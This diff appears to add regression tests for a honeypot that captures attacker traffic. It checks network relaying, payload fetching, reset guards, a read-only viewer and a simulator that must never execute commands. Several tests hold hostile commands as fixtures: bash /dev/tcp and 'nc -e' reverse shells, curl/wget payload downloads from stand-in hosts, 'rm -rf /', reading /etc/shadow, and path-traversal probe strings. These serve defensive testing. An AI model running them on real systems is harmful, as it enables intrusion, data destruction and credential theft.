print('PASS: simulated flow, binary/multipart/chunked evidence, source correlation, quotas, hidden guest files with intake preserved')
|
||||||
|
finally:
|
||||||
|
server.shutdown()
|
||||||
|
server.server_close()
|
||||||
|
thread.join(timeout=3)
|
||||||
|
evidence.close()
|
||||||
|
workspace.cleanup()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
"""Loopback-only PROXY metadata and binary stream regression."""
|
||||||
|
import asyncio
|
||||||
|
from ingress_proxy import forward
|
||||||
|
|
||||||
|
|
||||||
|
async def test():
|
||||||
|
received = []
|
||||||
|
async def backend(reader, writer):
|
||||||
|
received.append(await reader.readline())
|
||||||
|
payload = await reader.readexactly(5)
|
||||||
|
writer.write(payload[::-1])
|
||||||
|
await writer.drain()
|
||||||
|
writer.close()
|
||||||
|
backend_server = await asyncio.start_server(backend, '127.0.0.1', 0)
|
||||||
|
async def ingress(reader, writer):
|
||||||
|
await forward(reader, writer, '127.0.0.1', backend_server.sockets[0].getsockname()[1])
|
||||||
|
proxy = await asyncio.start_server(ingress, '127.0.0.1', 0)
|
||||||
|
reader, writer = await asyncio.open_connection('127.0.0.1', proxy.sockets[0].getsockname()[1])
|
||||||
|
source_port = writer.get_extra_info('sockname')[1]
|
||||||
|
writer.write(b'\x00\xffabc')
|
||||||
|
await writer.drain()
|
||||||
|
writer.write_eof()
|
||||||
|
assert await reader.read() == b'cba\xff\x00'
|
||||||
|
assert received == [f'PROXY TCP4 127.0.0.1 127.0.0.1 {source_port} {proxy.sockets[0].getsockname()[1]}\r\n'.encode()]
|
||||||
|
writer.close()
|
||||||
|
proxy.close()
|
||||||
|
backend_server.close()
|
||||||
|
await proxy.wait_closed()
|
||||||
|
await backend_server.wait_closed()
|
||||||
|
|
||||||
|
|
||||||
|
asyncio.run(test())
|
||||||
|
print('ingress proxy regression passed')
|
||||||
|
|
||||||
|
import socket
|
||||||
|
from trusted_proxy import source
|
||||||
|
left, right = socket.socketpair()
|
||||||
|
try:
|
||||||
|
right.sendall(b'PROXY TCP4 192.0.2.10 192.0.2.20 12345 8443\r\nTLS')
|
||||||
|
peer, header = source(left, ('10.0.2.2', 123), '10.0.2.2')
|
||||||
|
assert peer == ('192.0.2.10', 12345) and left.recv(3) == b'TLS'
|
||||||
|
try:
|
||||||
|
source(left, ('192.0.2.99', 123), '10.0.2.2')
|
||||||
|
raise AssertionError('untrusted peer accepted')
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
left.close()
|
||||||
|
right.close()
|
||||||
|
print('trusted PROXY parser regression passed')
|
||||||
@@ -0,0 +1,100 @@
|
|||||||
|
"""Offline tests: fixture sockets only; no external connections."""
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import pathlib
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import tempfile
|
||||||
|
import threading
|
||||||
|
from unittest.mock import patch
|
||||||
|
from types import SimpleNamespace
|
||||||
|
|
||||||
|
import network_capture as net
|
||||||
|
from evidence import Evidence
|
||||||
|
|
||||||
|
|
||||||
|
def run():
|
||||||
|
for address in ['127.0.0.1', '10.0.0.1', '169.254.169.254', '192.168.1.1', '224.0.0.1', '0.0.0.0', '100.64.0.1', '192.0.2.1', '::1']:
|
||||||
|
try:
|
||||||
|
net.public_ip(address)
|
||||||
|
raise AssertionError(address)
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
assert net.public_ip('8.8.8.8') == '8.8.8.8'
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
net.STOP = pathlib.Path(tmp) / 'STOP'
|
||||||
|
peers = pathlib.Path(tmp) / 'peers.json'
|
||||||
|
peers.write_text(json.dumps(['10.0.0.1', '8.8.8.8', 'bad', '127.0.0.1', 134744072]))
|
||||||
|
peers.chmod(0o600)
|
||||||
|
actual_stat = os.stat(peers)
|
||||||
|
# Root ownership is mocked only for this unit check on unprivileged Macs.
|
||||||
|
with patch.object(net.os, 'fstat', return_value=SimpleNamespace(
|
||||||
|
st_mode=actual_stat.st_mode, st_uid=0, st_mtime=actual_stat.st_mtime)):
|
||||||
|
assert net.allowed_peers(peers) == {'8.8.8.8'}
|
||||||
|
evidence = Evidence(pathlib.Path(tmp) / 'evidence')
|
||||||
|
server = net.Server(('127.0.0.1', 0), net.Broker, evidence=evidence, peers=str(pathlib.Path(tmp) / 'absent'))
|
||||||
|
worker = threading.Thread(target=server.serve_forever, daemon=True)
|
||||||
|
worker.start()
|
||||||
|
original_connect = socket.create_connection
|
||||||
|
outgoing = []
|
||||||
|
def fixture_connect(destination, timeout=None, **kwargs):
|
||||||
|
assert destination == ('8.8.8.8', 80), destination
|
||||||
|
outgoing.append(destination)
|
||||||
|
broker_end, fixture_end = socket.socketpair()
|
||||||
|
def echo():
|
||||||
|
with fixture_end:
|
||||||
|
while True:
|
||||||
|
data = fixture_end.recv(16384)
|
||||||
|
if not data:
|
||||||
|
break
|
||||||
|
fixture_end.sendall(data)
|
||||||
|
threading.Thread(target=echo, daemon=True).start()
|
||||||
|
return broker_end
|
||||||
|
with patch.object(net.socket, 'create_connection', fixture_connect):
|
||||||
|
with original_connect(server.server_address, timeout=3) as client:
|
||||||
|
net.send_message(client, {'op': 'connect', 'ip': '127.0.0.1', 'port': 80})
|
||||||
|
assert not net.read_message(client)['ok']
|
||||||
|
with original_connect(server.server_address, timeout=3) as client:
|
||||||
|
net.send_message(client, {'op': 'connect', 'ip': '8.8.8.8', 'port': 4444})
|
||||||
|
assert not net.read_message(client)['ok']
|
||||||
|
with original_connect(server.server_address, timeout=3) as client:
|
||||||
|
net.send_message(client, {'op': 'connect', 'ip': '8.8.8.8', 'port': 80})
|
||||||
|
assert net.read_message(client)['ok']
|
||||||
|
payload = b'\x00malware-fixture\xff\r\n'
|
||||||
|
client.sendall(payload)
|
||||||
|
data = b''
|
||||||
|
while len(data) < len(payload):
|
||||||
|
data += client.recv(1024)
|
||||||
|
assert data == payload
|
||||||
|
client.shutdown(socket.SHUT_WR)
|
||||||
|
assert client.recv(1) == b''
|
||||||
|
assert len(outgoing) == 1
|
||||||
|
server.shutdown()
|
||||||
|
server.server_close()
|
||||||
|
rows = [json.loads(line) for line in (evidence.directory / 'events.jsonl').read_text().splitlines()]
|
||||||
|
chunks = [r for r in rows if r['event'] == 'network_chunk']
|
||||||
|
assert {r['direction'] for r in chunks} == {'guest_to_remote', 'remote_to_guest'}
|
||||||
|
for row in chunks:
|
||||||
|
assert (evidence.directory / row['artifact']).read_bytes() == payload
|
||||||
|
assert row['time_ns'] and row['connection_id']
|
||||||
|
# DNS parser rejects malformed/compressed questions; AAAA returns no answer.
|
||||||
|
assert net.dns_reply(b'bad', ('unused', 0)) is None
|
||||||
|
question = struct.pack('!6H', 7, 0x100, 1, 0, 0, 0) + b'\x07example\x03com\0' + struct.pack('!HH', 28, 1)
|
||||||
|
reply = net.dns_reply(question, ('unused', 0))
|
||||||
|
assert struct.unpack('!6H', reply[:12])[3] == 0
|
||||||
|
# Capturing failure closes streams before further forward and persists STOP.
|
||||||
|
evidence.quota = evidence.used
|
||||||
|
failing = net.Server(('127.0.0.1', 0), net.Broker, evidence=evidence, peers='absent')
|
||||||
|
threading.Thread(target=failing.serve_forever, daemon=True).start()
|
||||||
|
with original_connect(failing.server_address, timeout=3) as client:
|
||||||
|
net.send_message(client, {'op': 'connect', 'ip': '8.8.8.8', 'port': 80})
|
||||||
|
assert client.recv(1) == b''
|
||||||
|
assert net.STOP.exists() and failing.failed.is_set()
|
||||||
|
failing.shutdown()
|
||||||
|
failing.server_close()
|
||||||
|
evidence.close()
|
||||||
|
print('network capture offline checks passed')
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
run()
|
||||||
@@ -0,0 +1,148 @@
|
|||||||
|
"""Collector-only live regression; stop decoy-network first, restart it afterward.
|
||||||
|
|
||||||
|
Both destinations are harmless in-process loopback fixtures. No external connections.
|
||||||
|
Exercises VM223 bash TCP reverse shell and HTTP download through the real guest relay.
|
||||||
|
"""
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import pathlib
|
||||||
|
import shlex
|
||||||
|
import socket
|
||||||
|
import subprocess
|
||||||
|
import tempfile
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from unittest.mock import patch
|
||||||
|
|
||||||
|
import network_capture as net
|
||||||
|
from evidence import Evidence
|
||||||
|
|
||||||
|
FIXTURE_IP = '198.51.100.10'
|
||||||
|
|
||||||
|
|
||||||
|
def run():
|
||||||
|
if not pathlib.Path('/etc/decoy-collector').is_file():
|
||||||
|
raise SystemExit('Run only in the dedicated collector VM222')
|
||||||
|
root = pathlib.Path(tempfile.mkdtemp(prefix='network-live-', dir='/var/lib/decoy'))
|
||||||
|
evidence = Evidence(root / 'evidence')
|
||||||
|
commands = b"printf 'DECOY_REVERSE_SHELL_OK\\n'; id; exit\n"
|
||||||
|
payload = b'\x00DECOY_HARMLESS_DOWNLOAD_FIXTURE\xff\r\n' + bytes(range(256))
|
||||||
|
response = (b'HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\n'
|
||||||
|
b'Connection: close\r\nContent-Length: ' + str(len(payload)).encode() + b'\r\n\r\n' + payload)
|
||||||
|
captured = {}
|
||||||
|
failures = []
|
||||||
|
listeners = {}
|
||||||
|
threads = []
|
||||||
|
for port in (4444, 80):
|
||||||
|
listener = socket.socket()
|
||||||
|
listener.bind(('127.0.0.1', 0))
|
||||||
|
listener.listen(1)
|
||||||
|
listener.settimeout(20)
|
||||||
|
listeners[port] = listener
|
||||||
|
|
||||||
|
def serve(port):
|
||||||
|
try:
|
||||||
|
with listeners[port].accept()[0] as conn:
|
||||||
|
conn.settimeout(15)
|
||||||
|
data = bytearray()
|
||||||
|
if port == 4444:
|
||||||
|
conn.sendall(commands)
|
||||||
|
conn.shutdown(socket.SHUT_WR)
|
||||||
|
while True:
|
||||||
|
chunk = conn.recv(16384)
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
data.extend(chunk)
|
||||||
|
else:
|
||||||
|
while b'\r\n\r\n' not in data:
|
||||||
|
chunk = conn.recv(16384)
|
||||||
|
if not chunk:
|
||||||
|
raise AssertionError('fixture request ended early')
|
||||||
|
data.extend(chunk)
|
||||||
|
if len(data) > 65536:
|
||||||
|
raise AssertionError('oversized fixture request')
|
||||||
|
conn.sendall(response)
|
||||||
|
captured[port] = bytes(data)
|
||||||
|
except BaseException as exc:
|
||||||
|
failures.append(exc)
|
||||||
|
|
||||||
|
original_connect = socket.create_connection
|
||||||
|
original_public = net.public_ip
|
||||||
|
|
||||||
|
def fixture_connect(destination, *args, **kwargs):
|
||||||
|
if destination[0] != FIXTURE_IP or destination[1] not in listeners:
|
||||||
|
raise AssertionError(f'unexpected destination: {destination!r}')
|
||||||
|
return original_connect(listeners[destination[1]].getsockname(), *args, **kwargs)
|
||||||
|
|
||||||
|
def fixture_public(address):
|
||||||
|
return FIXTURE_IP if address == FIXTURE_IP else original_public(address)
|
||||||
|
|
||||||
|
def ssh(command):
|
||||||
|
return subprocess.run(['ssh', '-o', 'BatchMode=yes', '-o', 'ConnectTimeout=5',
|
||||||
|
'decoy-execution', command], capture_output=True,
|
||||||
|
timeout=30, check=True).stdout
|
||||||
|
|
||||||
|
server = None
|
||||||
|
guest_file = '/var/tmp/decoy-network-live-' + root.name
|
||||||
|
try:
|
||||||
|
with patch.object(net, 'STOP', root / 'STOP'), \
|
||||||
|
patch.object(net, 'public_ip', fixture_public), \
|
||||||
|
patch.object(net, 'allowed_peers', return_value={FIXTURE_IP}), \
|
||||||
|
patch.object(net.socket, 'create_connection', fixture_connect):
|
||||||
|
server = net.Server(('0.0.0.0', 19090), net.Broker,
|
||||||
|
evidence=evidence, peers=str(root / 'unused'))
|
||||||
|
threading.Thread(target=server.serve_forever, daemon=True).start()
|
||||||
|
for port in listeners:
|
||||||
|
thread = threading.Thread(target=serve, args=(port,), daemon=True)
|
||||||
|
thread.start()
|
||||||
|
threads.append(thread)
|
||||||
|
script = f'exec /bin/bash -i >& /dev/tcp/{FIXTURE_IP}/4444 0>&1'
|
||||||
|
ssh('/bin/bash -c ' + shlex.quote(script))
|
||||||
|
digest = hashlib.sha256(payload).hexdigest()
|
||||||
|
got = ssh("curl --noproxy '*' --connect-timeout 5 --max-time 15 -fsS -o " +
|
||||||
|
shlex.quote(guest_file) + f' http://{FIXTURE_IP}/fixture.bin && sha256sum ' +
|
||||||
|
shlex.quote(guest_file)).decode().split()[0]
|
||||||
|
assert got == digest, (got, digest)
|
||||||
|
for thread in threads:
|
||||||
|
thread.join(5)
|
||||||
|
assert not thread.is_alive(), 'fixture did not finish'
|
||||||
|
assert not failures, failures
|
||||||
|
assert b'DECOY_REVERSE_SHELL_OK' in captured[4444]
|
||||||
|
assert b'uid=0(root)' in captured[4444]
|
||||||
|
assert captured[80].startswith(b'GET /fixture.bin HTTP/1.1\r\n')
|
||||||
|
deadline = time.monotonic() + 5
|
||||||
|
while True:
|
||||||
|
rows = [json.loads(line) for line in
|
||||||
|
(evidence.directory / 'events.jsonl').read_text().splitlines()]
|
||||||
|
if sum(r['event'] == 'network_end' for r in rows) == 2:
|
||||||
|
break
|
||||||
|
assert time.monotonic() < deadline, 'broker streams did not finish'
|
||||||
|
time.sleep(0.05)
|
||||||
|
connections = {r['destination_port']: r['connection_id'] for r in rows
|
||||||
|
if r['event'] == 'network_connected'}
|
||||||
|
assert set(connections) == {80, 4444}, connections
|
||||||
|
for port, cid in connections.items():
|
||||||
|
chunks = sorted((r for r in rows if r['event'] == 'network_chunk' and
|
||||||
|
r['connection_id'] == cid), key=lambda r: r['sequence'])
|
||||||
|
def stream(direction):
|
||||||
|
return b''.join((evidence.directory / r['artifact']).read_bytes()
|
||||||
|
for r in chunks if r['direction'] == direction)
|
||||||
|
assert all(r['forwarded'] and r['time_ns'] for r in chunks)
|
||||||
|
assert stream('guest_to_remote') == captured[port]
|
||||||
|
assert stream('remote_to_guest') == (commands if port == 4444 else response)
|
||||||
|
assert not server.failed.is_set()
|
||||||
|
finally:
|
||||||
|
if server is not None:
|
||||||
|
server.shutdown()
|
||||||
|
server.server_close()
|
||||||
|
for listener in listeners.values():
|
||||||
|
listener.close()
|
||||||
|
try:
|
||||||
|
ssh('rm -f -- ' + shlex.quote(guest_file))
|
||||||
|
finally:
|
||||||
|
evidence.close()
|
||||||
|
print(f'LIVE PASS: real guest reverse shell + binary download; exact bidirectional evidence at {root}')
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
run()
|
||||||
@@ -0,0 +1,103 @@
|
|||||||
|
"""Run: python3 test_payload_fetch.py. Local fixtures only; no real outbound connections."""
|
||||||
|
import http.server
|
||||||
|
import pathlib
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
|
||||||
|
from payload_fetch import Fetcher, extract_urls, public_addresses
|
||||||
|
|
||||||
|
# Static guarantee: the fetcher has no way to execute or pipe anything.
|
||||||
|
SOURCE = (pathlib.Path(__file__).parent / 'payload_fetch.py').read_text()
|
||||||
|
for forbidden in ('subprocess', 'os.system', 'os.popen', 'eval(', 'exec(', '__import__', 'pty.'):
|
||||||
|
assert forbidden not in SOURCE, 'payload_fetch contains ' + forbidden
|
||||||
|
|
||||||
|
assert extract_urls('curl http://evil.example/a.sh -o /tmp/a; wget https://x.example/b') == [
|
||||||
|
'http://evil.example/a.sh', 'https://x.example/b']
|
||||||
|
assert extract_urls('echo hi | bash') == []
|
||||||
|
assert extract_urls('curl http://evil/a|bash') == ['http://evil/a']
|
||||||
|
for blocked in ('127.0.0.1', '169.254.169.254', '10.0.0.1', '192.168.1.1', '::1'):
|
||||||
|
try:
|
||||||
|
public_addresses(blocked)
|
||||||
|
raise AssertionError(blocked)
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
PAYLOAD = b'\x00MZ-inert-download\xff' * 64
|
||||||
|
|
||||||
|
|
||||||
|
class Fixture(http.server.BaseHTTPRequestHandler):
|
||||||
|
def log_message(self, *args):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def do_GET(self):
|
||||||
|
if self.path == '/redirect':
|
||||||
|
self.send_response(302)
|
||||||
|
self.send_header('Location', '/payload')
|
||||||
|
self.end_headers()
|
||||||
|
elif self.path == '/big':
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header('Content-Type', 'application/octet-stream')
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(b'A' * 4096)
|
||||||
|
else:
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header('Content-Type', 'application/octet-stream')
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(PAYLOAD)
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
server = http.server.ThreadingHTTPServer(('127.0.0.1', 0), Fixture)
|
||||||
|
port = server.server_port
|
||||||
|
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
rows = []
|
||||||
|
try:
|
||||||
|
fetcher = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)),
|
||||||
|
resolver=lambda host: ['127.0.0.1'], ports=(port,), max_bytes=1024 * 1024)
|
||||||
|
base = f'http://127.0.0.1:{port}'
|
||||||
|
ctx = {'peer': '8.8.8.8', 'request_id': 'req-1'}
|
||||||
|
|
||||||
|
# exact bytes stored, correlated context preserved
|
||||||
|
fetcher._fetch(base + '/payload', ctx)
|
||||||
|
download = rows[-1]
|
||||||
|
assert download['event'] == 'payload_download' and download['content'] == PAYLOAD
|
||||||
|
assert download['peer'] == '8.8.8.8' and download['request_id'] == 'req-1'
|
||||||
|
assert download['status'] == 200 and download['truncated'] is False
|
||||||
|
|
||||||
|
# redirects are followed through the same validated resolver
|
||||||
|
fetcher._fetch(base + '/redirect', ctx)
|
||||||
|
assert rows[-1]['event'] == 'payload_download' and rows[-1]['url'].endswith('/payload')
|
||||||
|
|
||||||
|
# size cap marks truncation
|
||||||
|
small = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)),
|
||||||
|
resolver=lambda host: ['127.0.0.1'], ports=(port,), max_bytes=256)
|
||||||
|
small._fetch(base + '/big', ctx)
|
||||||
|
assert rows[-1]['truncated'] is True and len(rows[-1]['content']) == 256
|
||||||
|
|
||||||
|
# non-allowed port is rejected before any socket is opened
|
||||||
|
strict = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)),
|
||||||
|
resolver=lambda host: ['127.0.0.1'], ports=(80, 443))
|
||||||
|
try:
|
||||||
|
strict._fetch(base + '/payload', ctx)
|
||||||
|
raise AssertionError('non-allowed port accepted')
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# submit runs in background and stores the asset
|
||||||
|
before = len(rows)
|
||||||
|
fetcher.submit(f'wget {base}/payload -O /tmp/x', ctx)
|
||||||
|
for _ in range(50):
|
||||||
|
if any(r['event'] == 'payload_download' for r in rows[before:]):
|
||||||
|
break
|
||||||
|
time.sleep(0.05)
|
||||||
|
assert any(r['event'] == 'payload_download' for r in rows[before:])
|
||||||
|
finally:
|
||||||
|
server.shutdown()
|
||||||
|
server.server_close()
|
||||||
|
thread.join(3)
|
||||||
|
print('PASS: payload fetcher downloads and stores assets, blocks private/ports, never executes')
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
@@ -0,0 +1,57 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Harmless path checks against the local tunnel to the decoy; no payload execution."""
|
||||||
|
import argparse
|
||||||
|
import http.client
|
||||||
|
import ipaddress
|
||||||
|
import urllib.parse
|
||||||
|
|
||||||
|
PATHS = (
|
||||||
|
'/reports', '/reports/', '/admin', '/admin/', '/dashboard', '/evidence', '/evidence/',
|
||||||
|
'/logs', '/logs/', '/logs/events.jsonl', '/events.jsonl', '/artifacts/',
|
||||||
|
'/artifacts/' + '0' * 64 + '.bin', '/http/events.jsonl', '/network/events.jsonl',
|
||||||
|
'/var/lib/decoy/http/events.jsonl', '/var/lib/decoy/network/events.jsonl',
|
||||||
|
'/opt/decoy/honeypot.py', '/honeypot.py', '/evidence.py', '/vm_backend.py', '/guest.py',
|
||||||
|
'/network_capture.py', '/ui/sources.json', '/README.md',
|
||||||
|
'/../var/lib/decoy/http/events.jsonl', '/../../var/lib/decoy/http/events.jsonl',
|
||||||
|
'/%2e%2e/%2e%2e/var/lib/decoy/http/events.jsonl',
|
||||||
|
'/%2e%2e%2f%2e%2e%2fvar%2flib%2fdecoy%2fhttp%2fevents.jsonl',
|
||||||
|
'/%252e%252e%252fvar%252flib%252fdecoy%252fhttp%252fevents.jsonl',
|
||||||
|
'/..%5c..%5cvar%5clib%5cdecoy%5chttp%5cevents.jsonl',
|
||||||
|
'//var/lib/decoy/http/events.jsonl', '/logs/../events.jsonl', '/logs%00/events.jsonl',
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
|
parser.add_argument('--url', required=True, help='HTTP loopback tunnel URL')
|
||||||
|
args = parser.parse_args()
|
||||||
|
url = urllib.parse.urlsplit(args.url)
|
||||||
|
if url.scheme != 'http' or url.username or url.password or url.query or url.fragment:
|
||||||
|
parser.error('use an HTTP loopback tunnel URL without credentials or query')
|
||||||
|
try:
|
||||||
|
loopback = ipaddress.ip_address(url.hostname).is_loopback
|
||||||
|
except ValueError:
|
||||||
|
loopback = url.hostname == 'localhost'
|
||||||
|
if not loopback or url.path not in ('', '/'):
|
||||||
|
parser.error('test is restricted to the loopback tunnel root')
|
||||||
|
def request(path):
|
||||||
|
conn = http.client.HTTPConnection(url.hostname, url.port or 80, timeout=25)
|
||||||
|
try:
|
||||||
|
conn.request('GET', path)
|
||||||
|
response = conn.getresponse()
|
||||||
|
body = response.read(131073)
|
||||||
|
assert len(body) <= 131072, 'unexpected large response for ' + path
|
||||||
|
return response.status, body
|
||||||
|
finally:
|
||||||
|
conn.close()
|
||||||
|
status, body = request('/')
|
||||||
|
assert status == 200 and b'<html' in body.lower(), 'decoy UI unavailable'
|
||||||
|
for path in PATHS:
|
||||||
|
status, body = request(path)
|
||||||
|
assert status == 404, f'private path returned {status}: {path}'
|
||||||
|
assert body == b'Not Found', 'unexpected content at private path: ' + path
|
||||||
|
print(f'PASS: NetScaler UI available; {len(PATHS)} private/report/evidence/source/traversal paths return plain404')
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
"""Offline reset guards; no Proxmox commands or VM mutation."""
|
||||||
|
import importlib.util
|
||||||
|
import pathlib
|
||||||
|
import tempfile
|
||||||
|
import hashlib
|
||||||
|
|
||||||
|
spec = importlib.util.spec_from_file_location('reset', pathlib.Path(__file__).parent / 'deploy/reset-execution.py')
|
||||||
|
reset = importlib.util.module_from_spec(spec)
|
||||||
|
spec.loader.exec_module(reset)
|
||||||
|
config = ('name: decoy-execution\nscsi0: local-lvm:vm-223-disk-0,size=12G\n'
|
||||||
|
'args: -netdev user,id=decoy,restrict=on -object filter-dump,file=/var/lib/vz/honeypot/execution.pcap\n')
|
||||||
|
reset.valid_config(config)
|
||||||
|
for bad in (config.replace('decoy-execution', 'onionatlas'), config.replace('restrict=on', 'restrict=off'), config + 'net0: virtio,bridge=vmbr0\n'):
|
||||||
|
try:
|
||||||
|
reset.valid_config(bad)
|
||||||
|
raise AssertionError('unsafe config accepted')
|
||||||
|
except RuntimeError:
|
||||||
|
pass
|
||||||
|
with tempfile.TemporaryDirectory() as temporary:
|
||||||
|
reset.ROOT = pathlib.Path(temporary)
|
||||||
|
reset.ARCHIVES = reset.ROOT / 'archives'
|
||||||
|
reset.ARCHIVES.mkdir()
|
||||||
|
reset.RESERVE = 0
|
||||||
|
reset.bounds = lambda min_free=0: None
|
||||||
|
file = reset.ARCHIVES / 'evidence'
|
||||||
|
reset.write_file(file, b'inert')
|
||||||
|
try:
|
||||||
|
reset.write_file(file, b'overwrite')
|
||||||
|
raise AssertionError('evidence overwritten')
|
||||||
|
except FileExistsError:
|
||||||
|
pass
|
||||||
|
assert reset.digest(file) == hashlib.sha256(b'inert').hexdigest()
|
||||||
|
print('PASS: reset identity/isolation guards, exclusive evidence writes and hashes')
|
||||||
|
|
||||||
|
# Reset restores only the public CA authorization; idempotent and valid newlines.
|
||||||
|
with tempfile.TemporaryDirectory() as temporary:
|
||||||
|
reset.ROOT = pathlib.Path(temporary)
|
||||||
|
line = 'cert-authority,principals="decoy-admin",restrict,pty ssh-ed25519 AAAATEST public-ca-test'
|
||||||
|
(reset.ROOT / 'admin-ca.authorized').write_text(line + '\n')
|
||||||
|
target = reset.ROOT / 'authorized_keys'
|
||||||
|
target.write_text('existing-public-key\n')
|
||||||
|
def fake_qm(*args, **kwargs):
|
||||||
|
assert args[:3] == ('guest', 'exec', '223')
|
||||||
|
script = args[-1].replace('/root/.ssh/authorized_keys', str(target))
|
||||||
|
exec(script, {})
|
||||||
|
return '{"exited":1,"exitcode":0}'
|
||||||
|
reset.qm = fake_qm
|
||||||
|
reset.install_admin_ca()
|
||||||
|
reset.install_admin_ca()
|
||||||
|
assert target.read_text().splitlines() == ['existing-public-key', line]
|
||||||
|
assert target.stat().st_mode & 0o777 == 0o600
|
||||||
|
print('PASS: public-only certificate authorization survives reset without duplicate keys')
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
"""Run: python3 test_safety.py. Proves the simulator has no real-execution path."""
|
||||||
|
import os
|
||||||
|
import pathlib
|
||||||
|
import subprocess
|
||||||
|
import tempfile
|
||||||
|
|
||||||
|
from honeypot import Engine, simulate
|
||||||
|
|
||||||
|
# Static guarantee: the decoy module has no OS/exec/network/Eval primitives at all.
|
||||||
|
SOURCE = (pathlib.Path(__file__).parent / 'honeypot.py').read_text()
|
||||||
|
for forbidden in ('import subprocess', 'import socket', 'os.system', 'os.popen', 'os.exec',
|
||||||
|
'eval(', 'exec(', '__import__', 'pty.', 'ctypes'):
|
||||||
|
assert forbidden not in SOURCE, 'decoy module contains ' + forbidden
|
||||||
|
|
||||||
|
# Dynamic guarantee: even if these existed, nothing may call them.
|
||||||
|
calls = []
|
||||||
|
|
||||||
|
|
||||||
|
def tripwire(*args, **kwargs):
|
||||||
|
calls.append((args, kwargs))
|
||||||
|
raise AssertionError('real execution attempted')
|
||||||
|
|
||||||
|
|
||||||
|
saved = {}
|
||||||
|
for name in ('system', 'popen', 'fork', 'forkpty', 'spawnv', 'execv', 'execve', 'posix_spawn'):
|
||||||
|
if hasattr(os, name):
|
||||||
|
saved[name] = getattr(os, name)
|
||||||
|
setattr(os, name, tripwire)
|
||||||
|
for name in ('Popen', 'run', 'call', 'check_output', 'check_call'):
|
||||||
|
saved['subprocess.' + name] = getattr(subprocess, name)
|
||||||
|
setattr(subprocess, name, tripwire)
|
||||||
|
|
||||||
|
DANGEROUS = (
|
||||||
|
'rm -rf / --no-preserve-root',
|
||||||
|
'cat /etc/shadow',
|
||||||
|
'id>/root/pwned',
|
||||||
|
'echo owned > /tmp/pwned-by-attacker',
|
||||||
|
'curl http://203.0.113.9/x.sh -o /tmp/x.sh',
|
||||||
|
'wget http://203.0.113.9/payload -O /tmp/p',
|
||||||
|
'nc -e /bin/sh 203.0.113.9 4444',
|
||||||
|
'bash -c "sh -i >& /dev/tcp/203.0.113.9/4444 0>&1"',
|
||||||
|
'`id`',
|
||||||
|
'mkdir -p /var/www/shell; touch /var/www/shell/x.jsp',
|
||||||
|
)
|
||||||
|
marker = pathlib.Path(tempfile.gettempdir()) / 'pwned-by-attacker'
|
||||||
|
if marker.exists():
|
||||||
|
marker.unlink()
|
||||||
|
|
||||||
|
try:
|
||||||
|
events = []
|
||||||
|
engine = Engine(lambda event, **data: events.append(dict(event=event, **data)))
|
||||||
|
state = engine.session('198.51.100.7')
|
||||||
|
for command in DANGEROUS:
|
||||||
|
simulate(state, command, engine.emit)
|
||||||
|
engine.tick()
|
||||||
|
finally:
|
||||||
|
for name, original in saved.items():
|
||||||
|
if name.startswith('subprocess.'):
|
||||||
|
setattr(subprocess, name.split('.', 1)[1], original)
|
||||||
|
else:
|
||||||
|
setattr(os, name, original)
|
||||||
|
|
||||||
|
assert not calls, calls
|
||||||
|
assert not marker.exists(), 'a simulated command wrote a real file'
|
||||||
|
kinds = {e['event'] for e in events}
|
||||||
|
assert 'unsupported' in kinds or 'simulated_command' in kinds
|
||||||
|
outbound = [e for e in events if e['event'] == 'outbound_attempt']
|
||||||
|
assert outbound and all(e['disposition'] == 'recorded_only' for e in outbound)
|
||||||
|
# Virtual writes stay in memory only.
|
||||||
|
assert 'virtual_file_write' in kinds or 'unsupported' in kinds
|
||||||
|
print('PASS: simulation-only, no OS/exec/network calls, outbound recorded not performed')
|
||||||
@@ -0,0 +1,91 @@
|
|||||||
|
"""Run: python3 test_viewer.py. Loopback-only read-only viewer checks; no third-party dependencies."""
|
||||||
|
import hashlib
|
||||||
|
import http.client
|
||||||
|
import http.server
|
||||||
|
import json
|
||||||
|
import pathlib
|
||||||
|
import tempfile
|
||||||
|
import threading
|
||||||
|
|
||||||
|
import viewer
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
with tempfile.TemporaryDirectory() as folder:
|
||||||
|
root = pathlib.Path(folder)
|
||||||
|
(root / 'artifacts').mkdir()
|
||||||
|
payload = b'\x00\xffcommand-output\x00'
|
||||||
|
sha = hashlib.sha256(payload).hexdigest()
|
||||||
|
